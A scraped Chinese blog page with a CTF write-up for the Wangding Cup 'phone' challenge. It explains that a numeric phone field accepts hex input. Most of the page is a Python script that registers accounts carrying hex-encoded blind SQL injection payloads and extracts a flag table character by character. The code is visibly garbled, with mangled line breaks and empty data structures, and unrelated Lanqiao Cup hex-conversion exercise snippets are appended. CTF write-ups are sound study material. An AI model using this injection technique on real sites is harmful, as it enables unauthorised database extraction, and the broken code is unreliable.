網鼎盃題目「phone」 十六進製制mysql注入

2022-08-11 20:48:13 字數 1589 閱讀 9454

註冊時有三個必填項,分別是使用者名稱、密碼和**。**要求必須數字。

盲注的思路,註冊時**填寫十六進製制。

於是python如下:

#

coding=utf-8

import

requests

import

binascii

import

redef

login_sqli(url,username,password,payload):

url =url

username =username

password =password

headers =

#login

data =

try:

#get_session

s =requests.session()

req1 = s.get(url+'

/index.php')

#register

req2 = s.post(url+'

/register.php

',data =data)

#sqli

req3 = s.get(url+'

/query.php')

return

req3.text

except

:

print

'error'if

__name__ == '

__main__':

login_url = '

'password = '

123123

'result = ''

pattern = re.compile(r'

\d?\d?\d?\d?\d?\d')

for i in range(1,43):

for j in range(33,128):

payload = "

5555%%' and ord(mid((select * from flag),%d,1))=%d #

" %(i,j)

payload_0x =binascii.b2a_hex(payload)

_payload = '

0x'+payload_0x

username = '

userrif

'+str(i)+str(j)

text =login_sqli(login_url,username,password,_payload)

#time.sleep(3)

r =re.search(pattern,text)

if(int(r.group()) >0):

print str(i)+'

-->

'+chr(j)

else

:

continue

結果:

藍橋杯題目練習 十進位制轉十六進製制

問題描述 十六進製制數是在程式設計時經常要使用到的一種整數的表示方式。它有0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f共16個符號,分別表示十進位制數的0至15。十六進製制的計數方法是滿16進1,所以十進位制數16在十六進製制中是10,而十進位制的17在十六進製制中是11,以此類推...

藍橋杯 十進位制轉十六進製制

問題描述 十六進製制數是在程式設計時經常要使用到的一種整數的表示方式。它有0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f共16個符號,分別表示十進位制數的0至15。十六進製制的計數方法是滿16進1,所以十進位制數16在十六進製制中是10,而十進位制的17在十六進製制中是11,以此類推...

藍橋杯 十進位制轉十六進製制

基礎練習 十進位制轉十六進製制 時間限制 1.0s 記憶體限制 512.0mb 問題描述 十六進製制數是在程式設計時經常要使用到的一種整數的表示方式。它有0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f共16個符號,分別表示十進位制數的0至15。十六進製制的計數方法是滿16進1,所以十...